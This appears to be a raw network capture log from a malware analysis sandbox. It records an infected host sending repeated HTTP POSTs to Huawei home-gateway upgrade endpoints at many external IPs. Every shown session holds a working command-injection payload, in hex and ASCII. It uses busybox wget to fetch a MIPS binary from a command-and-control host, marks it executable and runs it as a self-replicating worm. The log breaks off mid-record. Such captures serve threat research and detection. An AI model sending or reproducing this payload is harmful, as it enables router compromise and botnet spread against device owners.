Aug 17, 2024 01:01:52.578716040 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	47022	156.4.205.159	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578727961 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	48222	197.40.44.56	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578756094 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	44734	197.253.167.187	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578780890 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	60838	197.33.40.136	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578845024 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	50424	41.132.36.23	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578902006 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	56340	156.199.58.75	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578924894 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	46618	41.200.206.226	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578944921 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	39342	197.192.68.27	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578972101 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	42236	156.146.125.170	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578996897 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	56092	41.169.106.62	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579011917 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 